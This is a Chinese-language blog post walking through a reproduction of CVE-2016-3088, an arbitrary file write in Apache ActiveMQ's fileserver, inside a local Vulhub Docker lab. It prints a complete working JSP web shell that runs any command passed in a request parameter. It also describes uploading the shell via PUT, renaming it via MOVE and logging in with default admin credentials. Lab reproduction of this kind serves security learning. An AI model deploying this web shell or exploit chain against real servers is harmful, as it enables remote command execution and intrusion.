发布于2022年10月14日3年前 前言: 学习完Rust的Vector,想着复现一下Vulhub里面的漏洞。然后就踩到了一个坑了。= =简直MMP,原本是想着写CVE-2015-5254的复现的。可复现方法不能用了。所以... 正文: 首先我们要搭建Vulhub的环境: Vulhub漏靶场搭建方法: vulhub官网:http://vulhub.org/#/docs/download-vulhub/ 1.安装docker,windows自己去官网下。Linux执行:sudo apt-get install docker.io 2.安装python和pip:sudo apt-get install python和suao apt-get install python-pip 3.安装docker-compose:pip install docker-compose 4.下载Vulhub:git clone https://github.com/vulhub/vulhub.git 安装好之后进入对应的漏洞文件执行:docker-compose up -d 如果出现:Couldn't connect to Docker daemon at http+xxx的问题有三个解决的方法: 1.将当前的用户加入dokcer用户组 sudo usermod -aG docker <Username> 2.在使用docker-compose附加上sudo sudo docker-compose up -d 3.设置DOCKER_HOST这一个环境变量 export DOCKER_HOST=tcp://loaclhost:4243 设置完成后重新启动docker 漏洞介绍: ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。 fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现: 其使用率并不高 文件操作容易出现漏洞 所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。 在测试过程中,可以关注ActiveMQ的版本,避免走弯路。 这里我的是CVE-2016-3088,所以我们要进入对应的目录: cd /vulhub/activemq/CVE-2016-3088 然后执行docker-compose -build 下载漏洞环境 然后在执行docker-compose up -d 启动 之后我们打开浏览器访问: http://127.0.0.1:8161 我们可以看到如下图所示: 这个任意文件写入漏洞得要先知道WEB路径。所以我们得登陆后台 默认用户名和密码是:admin/admin,登陆进去后我们要访问 http://your-ip:8161/admin/test/systemProperties.jsp 查看ActiveMQ的绝对路径 绝对路径为: /opt/activemq 知道绝对路径之后,我们要进行文件上传。 注:这里的shell2.txt为shell代码 shell代码如下: <%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION=""> <INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if ( request.getParameter( "comment" ) != null ) { out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" ); Process p = Runtime.getRuntime().exec( request.getParameter( "comment" ) ); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream( in ); String disr = dis.readLine(); while ( disr != null ) { out.println( disr ); disr = dis.readLine(); } } %> </pre> </BODY></HTML> 代码来自:https://github.com/JoyChou93/webshell/blob/master/jsp/cmd.jsp 上传: HTTP状态码为204,即为上传成功 然后听过MOVE进行改名为jsp 然后我们访问http://127.0.0.1:8161/api,就可以看到我们上传的shell文件 执行命令如下: ActiveMQ更多漏洞:http://www.freebuf.com/column/161188.html 来之422926799.github.io
创建帐户或登录后发表意见